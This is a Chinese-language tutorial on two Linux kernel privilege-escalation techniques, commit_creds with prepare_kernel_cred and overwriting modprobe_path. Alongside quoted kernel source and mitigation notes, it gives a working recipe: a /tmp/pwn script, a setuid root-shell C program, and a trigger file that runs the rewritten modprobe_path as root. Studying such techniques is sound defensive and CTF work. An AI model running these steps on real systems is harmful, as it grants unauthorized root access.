Simple Exploitation Techniques¶
commit_creds
+ prepare_kernel_cred
¶
原理¶
prepare_kernel_cred(NULL)
會回傳一個 struct cred
的 pointer 並指向一個有所有權限的 cred
。
commit_creds(cred)
會把當前 process 的 cred
替換成我們指定的 cred
。所以呼叫
commit_creds(prepare_kernel_cred(NULL))
就可以讓當前的 process 提權
整理¶
當一個 process 在 kernel 中執行
commit_creds(prepare_kernel_cred(NULL))
後 process 就被提權了
Mitigation¶
Kernel 版本 6.2 後 prepare_kernel_cred
改成傳入 NULL
也會回傳 NULL
,所以 6.2.0 後沒有辦法使用 commit_cred
+ prepare_kernel_cred
這個技巧
modprobe_path
¶
原理¶
如果一個檔案執行的話會呼叫到 search_binary_handler
// Version : 5.4.0
int search_binary_handler(struct linux_binprm *bprm) {
bool need_retry = IS_ENABLED(CONFIG_MODULES);
struct linux_binfmt *fmt;
int retval;
// ...
retry:
read_lock(&binfmt_lock);
list_for_each_entry(fmt, &formats, lh) {
if (!try_module_get(fmt->module))
continue;
read_unlock(&binfmt_lock);
bprm->recursion_depth++;
retval = fmt->load_binary(bprm);
bprm->recursion_depth--;
read_lock(&binfmt_lock);
put_binfmt(fmt);
if (retval < 0 && !bprm->mm) {
read_unlock(&binfmt_lock);
force_sigsegv(SIGSEGV);
return retval;
}
if (retval != -ENOEXEC || !bprm->file) {
read_unlock(&binfmt_lock);
return retval;
}
}
read_unlock(&binfmt_lock);
if (need_retry) {
// #define printable(c) (((c)=='\t') || ((c)=='\n') || (0x20<=(c) && (c)<=0x7e))
if (printable(bprm->buf[0]) && printable(bprm->buf[1]) &&
printable(bprm->buf[2]) && printable(bprm->buf[3]))
return retval;
if (request_module("binfmt-%04x", *(ushort *)(bprm->buf + 2)) < 0)
return retval;
need_retry = false;
goto retry;
}
return retval;
}
如果目前沒有任何 handler 可以識別這個檔案,且檔案的前 4 bytes 都是不可視字元的話,會去呼叫 request_module
// Version : 5.4.0
#define request_module(mod...) __request_module(true, mod)
// Version : 5.4.0
int __request_module(bool wait, const char *fmt, ...) {
va_list args;
char module_name[MODULE_NAME_LEN];
int ret;
// ...
if (!modprobe_path[0])
return 0;
va_start(args, fmt);
ret = vsnprintf(module_name, MODULE_NAME_LEN, fmt, args);
va_end(args);
if (ret >= MODULE_NAME_LEN)
return -ENAMETOOLONG;
ret = security_kernel_module_request(module_name);
if (ret)
return ret;
// ...
ret = call_modprobe(module_name, wait ? UMH_WAIT_PROC : UMH_WAIT_EXEC);
// ...
return ret;
}
// Version : 5.4.0
static int call_modprobe(char *module_name, int wait) {
struct subprocess_info *info;
static char *envp[] = {
"HOME=/",
"TERM=linux",
"PATH=/sbin:/usr/sbin:/bin:/usr/bin",
NULL
};
char **argv = kmalloc(sizeof(char *[5]), GFP_KERNEL);
if (!argv)
goto out;
module_name = kstrdup(module_name, GFP_KERNEL);
if (!module_name)
goto free_argv;
argv[0] = modprobe_path;
argv[1] = "-q";
argv[2] = "--";
argv[3] = module_name;
argv[4] = NULL;
info = call_usermodehelper_setup(modprobe_path, argv, envp, GFP_KERNEL,
NULL, free_modprobe_argv, NULL);
if (!info)
goto free_module_name;
return call_usermodehelper_exec(info, wait | UMH_KILLABLE);
free_module_name:
kfree(module_name);
free_argv:
kfree(argv);
out:
return -ENOMEM;
}
可以看到 call_modprobe
去執行了 <modprobe_path> -q -- <module_name>
並且是以 root 的權限。所以如果我們去把 modprobe_path
上的字串改成我們自己的執行檔(或 bash script 之類的),然後去執行一個沒有 handler 的檔案,且檔案前 4 bytes 不是可視字元,我們的改寫的 modprobe_path
就會以 root 執行起來。
執行之後會回到 search_binary_handler
,然後會重新找一次 handler。但顯然我們自己的執行黨不會去新增 handler,所以重新找一次也不會找到可以識別的 handler。找完之後就會按照正常的找不到 handler 後怎麼執行就怎麼執行。
整理¶
把 modprobe_path
中的字串改成 /tmp/pwn
,把 /tmp/pwn
寫成
#!/bin/sh
chown 0:0 /tmp/shell
chmod 4755 /tmp/shell
其中 /tmp/shell
是由
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
void main() {
setuid(0);
setgid(0);
execl("/bin/sh", "sh", NULL);
}
musl-gcc -static shell.c -o shell
編譯的
然後寫一個 /tmp/trigger
前四個 bytes 是 \xff\xff\xff\xff
,接著執行 /tmp/trigger
,因為沒有 handler 可以識別這個檔案,所以就會去執行
/tmp/pwn -q -- binfmt-ffff
執行後因為沒有去新增 handler,所以 /tmp/trigger
就會直接因為沒有 handler 而正常退出(這邊的正常是指 kernel 不會壞掉)。而 /tmp/pwn
會去新增一個 /tmp/shell
,並且執行他就會有 root 的 shell。
Mitigation¶
如果 kernel 在編譯的時候有設定 CONFIG_STATIC_USERMODEHELPER
的話
struct subprocess_info *call_usermodehelper_setup(
const char *path, char **argv,
char **envp, gfp_t gfp_mask,
int (*init)(struct subprocess_info *info, struct cred *new),
void (*cleanup)(struct subprocess_info *info),
void *data
) {
// ..
#ifdef CONFIG_STATIC_USERMODEHELPER
sub_info->path = CONFIG_STATIC_USERMODEHELPER_PATH;
#else
sub_info->path = path;
#endif
// ...
}
執行路徑就直接 CONFIG_STATIC_USERMODEHELPER_PATH
,且這個值是在 read only 區段,所以沒有辦法直接被利用。
但目前大多數的發行版編譯的時候都沒有設定 CONFIG_STATIC_USERMODEHELPER
。可以用
cat /boot/config-`uname -r` | grep CONFIG_STATIC_USERMODEHELPER
看 CONFIG_STATIC_USERMODEHELPER
有沒有被打開